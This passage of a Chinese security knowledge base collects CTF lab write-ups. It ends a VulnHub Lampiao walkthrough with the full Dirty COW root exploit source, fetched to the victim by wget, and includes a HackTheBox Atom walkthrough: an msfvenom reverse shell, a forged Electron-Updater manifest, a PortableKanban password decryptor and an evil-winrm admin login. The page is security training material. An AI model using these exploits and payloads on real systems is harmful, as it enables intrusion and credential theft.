100755/rwxr-xr-x  18092    fil   2018-04-19 15:39:33 -0400  LICENSE.txt
100644/rw-r--r--  3427612  fil   2018-04-20 13:20:38 -0400  LuizGonzaga-LampiaoFalou.mp3
100755/rwxr-xr-x  8710     fil   2018-04-19 15:39:33 -0400  MAINTAINERS.txt
100755/rwxr-xr-x  5382     fil   2018-04-19 15:39:33 -0400  README.txt
100755/rwxr-xr-x  10123    fil   2018-04-19 15:39:33 -0400  UPGRADE.txt
100644/rw-r--r--  34715    fil   2018-04-20 13:09:26 -0400  audio.m4a
100755/rwxr-xr-x  6604     fil   2018-04-19 15:39:33 -0400  authorize.php
100755/rwxr-xr-x  720      fil   2018-04-19 15:39:33 -0400  cron.php
40755/rwxr-xr-x   4096     dir   2018-04-19 15:39:33 -0400  includes
100755/rwxr-xr-x  529      fil   2018-04-19 15:39:33 -0400  index.php
100755/rwxr-xr-x  703      fil   2018-04-19 15:39:33 -0400  install.php
100755/rwxr-xr-x  267732   fil   2015-08-03 22:51:40 -0400  lampiao.jpg
40755/rwxr-xr-x   4096     dir   2018-04-19 15:39:33 -0400  misc
40755/rwxr-xr-x   4096     dir   2018-04-19 15:39:33 -0400  modules
40755/rwxr-xr-x   4096     dir   2018-04-19 15:39:33 -0400  profiles
100644/rw-r--r--  9674     fil   2018-04-20 12:48:37 -0400  qrc.png
100755/rwxr-xr-x  2189     fil   2018-04-19 15:39:33 -0400  robots.txt
40755/rwxr-xr-x   4096     dir   2018-04-19 15:39:33 -0400  scripts
40755/rwxr-xr-x   4096     dir   2018-04-19 15:39:33 -0400  sites
40755/rwxr-xr-x   4096     dir   2018-04-19 15:39:33 -0400  themes
100755/rwxr-xr-x  19986    fil   2018-04-19 15:39:33 -0400  update.php
100755/rwxr-xr-x  2200     fil   2018-04-19 15:39:33 -0400  web.config
100755/rwxr-xr-x  417      fil   2018-04-19 15:39:33 -0400  xmlrpc.php

meterpreter > shell
Process 4649 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
pwd
/var/www/html
```

现在已经有了meterpreter，因此考虑使用以下命令检查有关受害者机器的描述：


``` bash
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@lampiao:/var/www/html$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.5 LTS
Release:        14.04
Codename:       trusty
```

该说明从“受害者机器的版本号”中提供了非常有力的暗示，供下一步使用。

在使用较早的有关版本号的线索进行长时间搜索之后，终于找到了所需的漏洞，并将其下载到了计算机上。

 - [Linux内核2.6.22-3.9-Dirty-COW-/proc/self/mem-竞争条件提权-/etc/passwd方法](https://www.exploit-db.com/exploits/40847)

即脏牛提权

40847.cpp

``` bash
// EDB-Note: Compile:   g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run:   ./dcow -s    (Will automatically do "echo 0 > /proc/sys/vm/dirty_writeback_centisecs")
//
// -----------------------------------------------------------------
// Copyright (C) 2016  Gabriele Bonacini
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301  USA
// -----------------------------------------------------------------

#include <iostream>
#include <fstream>
#include <string>
#include <thread>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <pty.h>
#include <string.h>
#include <termios.h>
#include <sys/wait.h>
#include <signal.h>

#define  BUFFSIZE    1024
#define  PWDFILE     "/etc/passwd"
#define  BAKFILE     "./.ssh_bak"
#define  TMPBAKFILE  "/tmp/.ssh_bak"
#define  PSM         "/proc/self/mem"
#define  ROOTID      "root:"
#define  SSHDID      "sshd:"
#define  MAXITER     300
#define  DEFPWD      "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
#define  TXTPWD      "dirtyCowFun\n"
#define  DISABLEWB   "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
#define  EXITCMD     "exit\n"
#define  CPCMD       "cp "
#define  RMCMD       "rm "

using namespace std;

class Dcow{
    private:
       bool              run,        rawMode,     opShell,   restPwd;
       void              *map;
       int               fd,         iter,        master,    wstat;
       string            buffer,     etcPwd,      etcPwdBak,
                         root,       user,        pwd,       sshd;
       thread            *writerThr, *madviseThr, *checkerThr;
       ifstream          *extPwd;
       ofstream          *extPwdBak;
       struct passwd     *userId;
       pid_t             child;  
       char              buffv[BUFFSIZE];
       fd_set            rfds;
       struct termios    termOld,    termNew;
       ssize_t           ign;

       void exitOnError(string msg);
    public:
       Dcow(bool opSh, bool rstPwd);
       ~Dcow(void);
       int  expl(void);         
};

Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
                   iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
                   madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr), 
                   child(0){ 
   userId = getpwuid(getuid());
   user.append(userId->pw_name).append(":");
   extPwd = new ifstream(PWDFILE);   
   while (getline(*extPwd, buffer)){
       buffer.append("\n");
       etcPwdBak.append(buffer);
       if(buffer.find(root) == 0){
          etcPwd.insert(0, root).insert(root.size(), pwd);
          etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(), 
                        buffer.begin() + buffer.find(":", root.size()), buffer.end());
       }else if(buffer.find(user) == 0 ||  buffer.find(sshd) == 0 ){
          etcPwd.insert(0, buffer);
       }else{
          etcPwd.append(buffer);
       }
   }
   extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
   extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
   extPwdBak->close();
   fd = open(PWDFILE,O_RDONLY);
   map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
}

Dcow::~Dcow(void){
   extPwd->close();
   close(fd);
   delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
   if(rawMode)    tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
   if(child != 0) wait(&wstat); 
}

void Dcow::exitOnError(string msg){
      cerr << msg << endl;
      // if(child != 0) kill(child, SIGKILL);
      throw new exception();
}

int  Dcow::expl(void){
   madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);} });
   writerThr  = new thread([&](){ int fpsm = open(PSM,O_RDWR);  
                                  while(run){ lseek(fpsm, reinterpret_cast<off_t>(map), SEEK_SET); 
                                              ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
                                });
   checkerThr = new thread([&](){ while(iter <= MAXITER){ 
                                         extPwd->clear(); extPwd->seekg(0, ios::beg); 
                                         buffer.assign(istreambuf_iterator<char>(*extPwd),
                                                       istreambuf_iterator<char>());
                                         if(buffer.find(pwd) != string::npos && 
                                            buffer.size() >= etcPwdBak.size()){
                                                run = false; break;
                                         }
                                         iter ++; usleep(300000);
                                   }
                                   run = false;
                                 });

  cerr << "Running ..." << endl;
  madviseThr->join();
  writerThr->join();
  checkerThr->join();

  if(iter <= MAXITER){ 
       child = forkpty(&master, nullptr, nullptr, nullptr);

       if(child == -1) exitOnError("Error forking pty.");

       if(child == 0){ 
          execlp("su", "su", "-", nullptr);
          exitOnError("Error on exec.");
       }

       if(opShell) cerr << "Password overridden to: " <<  TXTPWD << endl;
       memset(buffv, 0, BUFFSIZE);
       ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
       if(bytes_read <= 0) exitOnError("Error reading  su prompt.");
       cerr << "Received su prompt (" << buffv << ")" << endl; 

       if(write(master, TXTPWD, strlen(TXTPWD)) <= 0) 
            exitOnError("Error writing pwd on tty.");

       if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0) 
            exitOnError("Error writing cmd on tty.");

       if(!opShell){
            if(write(master, EXITCMD, strlen(EXITCMD)) <= 0) 
                 exitOnError("Error writing exit cmd on tty.");
       }else{
           if(restPwd){
               string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n");
               if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) 
                    exitOnError("Error writing restore cmd on tty.");
               restoreCmd        = string(RMCMD).append(TMPBAKFILE).append("\n");
               if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) 
                    exitOnError("Error writing restore cmd (rm) on tty.");
           }

           if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
                exitOnError("Error getting terminal attributes.");
    
           termNew               = termOld;
           termNew.c_lflag       &= static_cast<unsigned long>(~(ICANON | ECHO));
    
           if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
                exitOnError("Error setting terminal in non-canonical mode.");
           rawMode = true;
    
           while(true){
                FD_ZERO(&rfds);
                FD_SET(master, &rfds);
                FD_SET(STDIN_FILENO, &rfds);
    
                if(select(master + 1, &rfds, nullptr, nullptr, nullptr) < 0 )
                    exitOnError("Error on select tty.");
    
                if(FD_ISSET(master, &rfds)) {
                    memset(buffv, 0, BUFFSIZE);
                    bytes_read = read(master, buffv, BUFFSIZE - 1);
                    if(bytes_read <= 0) break;
                    if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
                          exitOnError("Error writing on stdout.");
                }
    
                if(FD_ISSET(STDIN_FILENO, &rfds)) {
                    memset(buffv, 0, BUFFSIZE);
                    bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
                    if(bytes_read <= 0) exitOnError("Error reading from stdin.");
                    if(write(master, buffv, bytes_read) != bytes_read) break;
                }
            }
      }
  }
 
  return [](int ret, bool shell){ 
       string msg = shell ? "Exit.\n" : string("Root password is:   ") + TXTPWD + "Enjoy! :-)\n";
       if(ret <= MAXITER){cerr << msg; return 0;}
       else{cerr << "Exploit failed.\n"; return 1;} 
  }(iter, opShell);
}

void printInfo(char* cmd){
      cerr << cmd << " [-s] [-n] | [-h]\n" << endl;
      cerr << " -s  open directly a shell, if the exploit is successful;" << endl;
      cerr << " -n  combined with -s, doesn't restore the passwd file." << endl;
      cerr << " -h  print this synopsis;" << endl;
      cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl;
      cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl;
      cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl;
      exit(1);
}

int main(int argc, char** argv){
   const char  flags[]   = "shn";
   int         c;
   bool        opShell   = false,
               restPwd   = true;

   opterr = 0;
   while ((c = getopt(argc, argv, flags)) != -1){
      switch (c){
         case 's':
            opShell = true;
         break;
         case 'n':
            restPwd = false;
         break;
         case 'h':
            printInfo(argv[0]);
         break;
         default:
            cerr << "Invalid parameter." << endl << endl;
            printInfo(argv[0]);
      }
   }

   if(!restPwd && !opShell){
            cerr << "Invalid parameter: -n requires -s" << endl << endl;
            printInfo(argv[0]);
   }

   Dcow dcow(opShell, restPwd);
   return dcow.expl();
}
```

执行一个python服务器，它将帮助通过Victim的计算机下载漏洞利用程序。

kali端执行

``` bash
root@kali:~/vulnhub/lampiao# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.66.1 - - [08/Apr/2020 01:48:23] code 404, message File not found
192.168.66.1 - - [08/Apr/2020 01:48:23] "GET /robots.txt HTTP/1.1" 404 -
192.168.66.1 - - [08/Apr/2020 01:48:23] "GET / HTTP/1.1" 200 -
192.168.66.1 - - [08/Apr/2020 01:48:24] code 404, message File not found
192.168.66.1 - - [08/Apr/2020 01:48:24] "GET /favicon.ico HTTP/1.1" 404 -
192.168.66.17 - - [08/Apr/2020 01:49:04] "GET /40847.cpp HTTP/1.1" 200 -
```

受害者执行

``` bash
www-data@lampiao:/var/www/html$ cd /tmp
cd /tmp
www-data@lampiao:/tmp$ ls
ls
www-data@lampiao:/tmp$ wget http://192.168.66.6:8000/40847.cpp
wget http://192.168.66.6:8000/40847.cpp
--2020-04-08 01:45:33--  http://192.168.66.6:8000/40847.cpp
Connecting to 192.168.66.6:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10531 (10K) [text/x-c++src]
Saving to: '40847.cpp'

100%[======================================>] 10,531      --.-K/s   in 0s      

2020-04-08 01:45:33 (391 MB/s) - '40847.cpp' saved [10531/10531]

www-data@lampiao:/tmp$ ls
ls
40847.cpp
```

现在已将此文件下载到服务器的/tmp（通用可写）目录中。由于该漏洞利用程序采用.cpp格式进行编译和执行，因此该漏洞利用程序代码中提供了特定的命令。这提供了有关如何编译和执行漏洞40847.ccp的提示。

现在有了root权限的shell！现在读取该flag。

``` bash
www-data@lampiao:/tmp$ ls
ls
40847.cpp
www-data@lampiao:/tmp$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
<-Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil            
www-data@lampiao:/tmp$ ./dcow -s
./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

echo 0 > /proc/sys/vm/dirty_writeback_centisecs
cp /tmp/.ssh_bak /etc/passwd
rm /tmp/.ssh_bak
root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@lampiao:~# whoami
whoami
root
root@lampiao:~# cd /root
cd /root
root@lampiao:~# ls
ls
flag.txt
root@lampiao:~# cat flag.txt
cat flag.txt
9740616875908d91ddcdaa8aea3af366
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub241.jpg)

#### 知识点总结

 - msf drupal_drupalgeddon2漏洞利用
 - Linux内核2.6.22-3.9-Dirty-COW-/proc/self/mem-竞争条件提权-/etc/passwd方法（脏牛提权）

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>







<!-- kb:end Lampiao-1 -->

</details>




# 客户端、更新器与文档解析

APK、桌面更新器、图像处理和 IoT 管理接口都可能把外部数据带入高权限逻辑。本章从原客户端请求和文件格式出发，保留静态分析、动态抓包、签名判断及实际执行身份。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/client/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Atom 的更新签名与 PortableKanban 密文属于两个独立问题。

Catch、RouterSpace 的 APK 分析保留静态与动态两种路径，以及真实 API 的请求格式。

Meta、Explore 和 Omni 分别依赖图像工具、Android 服务和 Windows IoT 的特定环境。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [更新签名校验与本地应用密文](#case-atom) | Atom | Electron、更新机制、Redis |
| [APK 内嵌令牌与验证脚本](#case-catch) | catch | Android、API Token、命令注入、CVE-2021-39174 |
| [Android 文件服务与调试桥](#case-explore) | explore | Android、ADB、CVE-2019-6447 |
| [元数据解析与图像转换](#case-meta) | meta | ExifTool、ImageMagick、CVE-2021-22204 |
| [Windows IoT 管理接口](#case-omni) | omni | Windows IoT、Device Portal、PowerShell |
| [APK 请求还原与 sudo 堆溢出](#case-routerspace) | routerspace | Android、命令注入、CVE-2021-3156 |

<a id="case-atom"></a>

## 更新签名校验与本地应用密文

可写 SMB 更新目录连接 Electron-Updater 的签名校验缺陷，PortableKanban 与 Redis 中的密文提供后续凭据线索。目录选择与更新文件格式保留在记录中。

<p class="kb-provenance">来源 Atom · 原记录 2021-04-23 · 22 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-atom">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Atom -->

#### introduce

OS: Windows
Difficulty: Medium
Points:	30
Release:	17 Apr 2021
IP:	10.10.10.237

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1933.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.237
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp  open  msrpc        Microsoft Windows RPC
443/tcp  open  ssl/http     Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6379/tcp open  redis        Redis key-value store
7680/tcp open  pando-pub?
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows
```

#### Port-80

There is a simple html page.

Let's check https 443 port.

Same page on port 80 and 443 not so interesting.

Now let's check with smbclient now.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# smbclient -L \\10.10.10.237 -U ""
Enter WORKGROUP\'s password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Software_Updates Disk      
SMB1 disabled -- no workgroup available
```

We have a interesting share called Software_Updates let's check what's inside.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# smbclient -N "\\\\10.10.10.237\Software_Updates"
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Apr 23 10:30:59 2021
  ..                                  D        0  Fri Apr 23 10:30:59 2021
  client1                             D        0  Fri Apr 23 10:30:59 2021
  client2                             D        0  Fri Apr 23 10:30:59 2021
  client3                             D        0  Fri Apr 23 10:30:59 2021
  UAT_Testing_Procedures.pdf          A    35202  Fri Apr  9 07:18:08 2021

                4413951 blocks of size 4096. 1363676 blocks available
smb: \>
```

Inside folders there is nothing for us. but there is a pdf file. let get this real quick.

``` bash
smb: \> get UAT_Testing_Procedures.pdf
getting file \UAT_Testing_Procedures.pdf of size 35202 as UAT_Testing_Procedures.pdf (6.2 KiloBytes/sec) (average 6.2 KiloBytes/sec)
```

After reading the pdf i known that we can place the update in any client folder and the automated script check the update.

So if we place the rev shell instead of update so we can get the reverse shell. but for that we need to bypass the "Signature Validation".

So i search the on google for electron-builder exploit and we got a good blog post.

 - [Signature Validation Bypass Leading to RCE In Electron-Updater](https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html)

After reading the blog i understand that how to bypass the Signature and get reverse shell.

I am using msfvenom for creating the reverse shell.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=9001 -f exe -o "r'luci.exe"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: r'luci.exe

┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# shasum -a 512 "r'luci.exe" | cut -d " " -f1 | xxd -r -p | base64 -w 0                                                                         
xgDIC+MoZUuufkz10OlxptRGT8HR+z9vxdoL/4FZ/3JMG6NRKz7DK7B69BkolIORVfwDyVnxUUebyHp9vEtbAw==
```

We got the hash now let's start our msfconsole to catch the rev shell.

``` bash
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(multi/handler) > set lport 9001
lport => 9001
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.3:9001
```

Now we need to create a file called latest.yml and add our hash inside this file.

 - latest.yml

``` bash
version: 1.2.3
path: http://10.10.14.3/r'luci.exe
sha512: xgDIC+MoZUuufkz10OlxptRGT8HR+z9vxdoL/4FZ/3JMG6NRKz7DK7B69BkolIORVfwDyVnxUUebyHp9vEtbAw==
```

Now start your python3 server on port 80 and we good to go.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Now last thing you want to do is put the file inside client2 or client1 folder it's your choice.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# smbclient //10.10.10.237/Software_Updates/ -U " "
Enter WORKGROUP\ 's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Apr 23 11:01:33 2021
  ..                                  D        0  Fri Apr 23 11:01:33 2021
  client1                             D        0  Fri Apr 23 11:01:33 2021
  client2                             D        0  Fri Apr 23 11:01:33 2021
  client3                             D        0  Fri Apr 23 11:01:33 2021
  UAT_Testing_Procedures.pdf          A    35202  Fri Apr  9 07:18:08 2021

                4413951 blocks of size 4096. 1363764 blocks available
smb: \> cd client2
smb: \client2\> put latest.yml
putting file latest.yml as \client2\latest.yml (0.1 kb/s) (average 0.1 kb/s)
smb: \client2\>
```

After putting file wait for 10sec and you get the reverse shell in metasploit.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [23/Apr/2021 11:03:31] code 404, message File not found
10.10.10.237 - - [23/Apr/2021 11:03:31] "GET /r'luci.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [23/Apr/2021 11:03:31] "GET /r%27luci.exe HTTP/1.1" 200 -
```

``` bash
meterpreter > getuid
Server username: ATOM\jason
```

Boom we got the shell.

I will also share a bash script for automate the work for getting the rev shell.

 - luci.sh

``` bash
IP=`ifconfig tun0| grep -w inet | awk '{print $2}'`
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$IP LPORT=9001 -f exe -o "r'luci.exe"
KEY=`shasum -a 512 "r's.exe" | cut -d " " -f1 | xxd -r -p | base64 -w 0`
cat <<EOF >> latest.yml
version: 1.2.3
path: http://$IP/r'luci.exe
sha512: $KEY
EOF
smbclient //10.10.10.237/Software_Updates/  -U " "%" "  -c "cd client2;put latest.yml"
python3 -m http.server 80
```

Now let's get our user.txt file.

``` bash
meterpreter > shell
Process 3512 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>cd \Users\jason\Desktop
cd \Users\jason\Desktop

C:\Users\jason\Desktop>type user.txt
type user.txt
4c012cd118f6c7e788a1fac97663223f
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1934.jpg)


#### Privilege escalation

let's run winPEAS.

 - [winPEASx64.exe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe/binaries/x64/Release)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1935.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1936.jpg)

After running winPEAS i got two interesting things first a file called redis.windows-service.conf and second a service is running called redis-server.

First let's get the file and see what's inside.

``` bash
C:\Users\jason\Desktop>cd C:\Program Files\Redis\
cd C:\Program Files\Redis\

C:\Program Files\Redis>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 9793-C2E6

 Directory of C:\Program Files\Redis

04/23/2021  02:30 AM    <DIR>          .
04/23/2021  02:30 AM    <DIR>          ..
07/01/2016  03:54 PM             1,024 EventLog.dll
04/02/2021  07:31 AM    <DIR>          Logs
07/01/2016  03:52 PM            12,618 Redis on Windows Release Notes.docx
07/01/2016  03:52 PM            16,769 Redis on Windows.docx
07/01/2016  03:55 PM           406,016 redis-benchmark.exe
07/01/2016  03:55 PM         4,370,432 redis-benchmark.pdb
07/01/2016  03:55 PM           257,024 redis-check-aof.exe
07/01/2016  03:55 PM         3,518,464 redis-check-aof.pdb
07/01/2016  03:55 PM           268,288 redis-check-dump.exe
07/01/2016  03:55 PM         3,485,696 redis-check-dump.pdb
07/01/2016  03:55 PM           482,304 redis-cli.exe
07/01/2016  03:55 PM         4,517,888 redis-cli.pdb
07/01/2016  03:55 PM         1,553,408 redis-server.exe
07/01/2016  03:55 PM         6,909,952 redis-server.pdb
04/02/2021  07:39 AM            43,962 redis.windows-service.conf
04/02/2021  07:37 AM            43,960 redis.windows.conf
07/01/2016  09:17 AM            14,265 Windows Service Documentation.docx
              16 File(s)     25,902,070 bytes
               3 Dir(s)   5,583,278,080 bytes free

C:\Program Files\Redis>type redis.windows-service.conf
type redis.windows-service.conf
# Redis configuration file example
requirepass kidvscat_yes_kidvscat
......
```

I found a password -> kidvscat_yes_kidvscat

And with this password we can connect with redis-server.

But first if you don't have redis-cli so install that with this command.

``` bash
apt-get install redis-tools
```

And here is the cheatsheet of redis-cli commands.

 - [redis_cheatsheet](https://gist.github.com/LeCoupa/1596b8f359ad8812c7271b5322c30946)

Now let's connect with server.

Let's list the keys.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.10.237:6379> keys *
1) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
2) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
3) "pk:ids:User"
4) "pk:ids:MetaDataClass"
```

Now let's go with first user becuase first is always admin.

``` bash
10.10.10.237:6379> get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
```

We got the hash:

``` bash
Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi
```

Now the question is how to crack or decrypt this hash.

I again check the winPEAS result and i found something good.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1937.jpg)

I download the pdf and read the pdf.

After reading this i understand that portable-kanban stores all the setting and Encrypted Password.

Let's search on google for any exploit for portable kanban.

 - [PortableKanban Encrypted Password Disclosure](https://www.torchsec.net/portablekanban-4-3-6578-38136-encrypted-password-disclosure-torchsec/)
 - [Python3 Script](https://dl.packetstormsecurity.net/2101-exploits/pk43657838136-disclose.txt)
Found a python3 script for Encrypted Password Disclosure.

With the help of this script i can decrypt the hash.

But the problem is the script require the file called PortableKanban.pk3 so i modify the script for our usecase.

 - decrypt.py

``` bash
import json
import base64
from des import * #python3 -m pip install des

try:
    hash = str(input("Enter the Hash : "))
    hash = base64.b64decode(hash.encode('utf-8'))
    key = DesKey(b"7ly6UznJ")
    print("Decrypted Password : " + key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))
except:
    print("Wrong Hash")
```

Before running the script install the req for that with this command.

``` bash
pip3 install des
```

Now we are ready to decrypt the hash.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# python3 decrypt.py 
Enter the Hash : Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi
Decrypted Password : kidvscat_admin_@123
```

And we got the password of Administrator -> kidvscat_admin_@123

Now let's login with evil-winrm.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/atom]
└─# evil-winrm -i 10.10.10.237 -u 'administrator' -p 'kidvscat_admin_@123'

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
atom\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
6c3c26123ed7d7eae41b18343707d229
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1938.jpg)


#### Summary of knowledge

 - smb Unauthorized access
 - Signature Validation Bypass Leading to RCE In Electron-Updater
 - PortableKanban Encrypted Password Disclosure (crack the hash inside redis)

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end Atom -->

</details>

<a id="case-catch"></a>

## APK 内嵌令牌与验证脚本

反编译 APK 找到聊天 API 令牌，再利用 Cachet 配置泄漏恢复数据库凭据。root 阶段追踪 APK 校验脚本中的命令拼接。

<p class="kb-provenance">来源 catch · 原记录 2022-03-23 · 17 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-catch">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start catch -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	12 Mar 2022
IP:	10.10.11.150

